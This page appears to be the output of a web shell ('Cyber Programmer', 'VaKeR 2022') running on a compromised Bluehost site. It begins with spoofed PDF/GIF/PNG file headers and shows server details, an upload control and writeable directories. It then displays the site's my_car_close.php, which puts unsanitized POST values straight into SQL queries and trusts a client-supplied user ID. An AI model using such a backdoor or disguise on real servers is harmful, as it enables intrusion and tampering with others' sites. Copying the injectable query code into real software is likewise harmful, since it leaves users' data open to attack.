%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_93b53270/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_93b53270/my_car_close.php
<?php
include('config.php');

if (isset($_POST['id']) && isset($_SESSION['user_id'])) {
    $id = $_POST['id'];
    $user_id = $_POST['user'];
    $sql_my = mysqli_query($conn, "SELECT * FROM `mycar_tbl` WHERE id='$id' AND status = 1 AND user_id = '$user_id'");
    if (mysqli_num_rows($sql_my)>0) {

        mysqli_query($conn, "UPDATE `mycar_tbl` SET `status`='0' WHERE id='$id' AND status = 1 AND user_id = '$user_id'");
        $response = array('status' => 'success', 'message' => 'Car Detail removed Successfully');

    } else {
       
        $response = array('status' => 'error', 'message' => 'Car Detail not found!');
    }

    echo json_encode($response);
} else {
    $response = array('status' => 'error', 'message' => 'Invalid request');
    echo json_encode($response);
}
?>

VaKeR 2022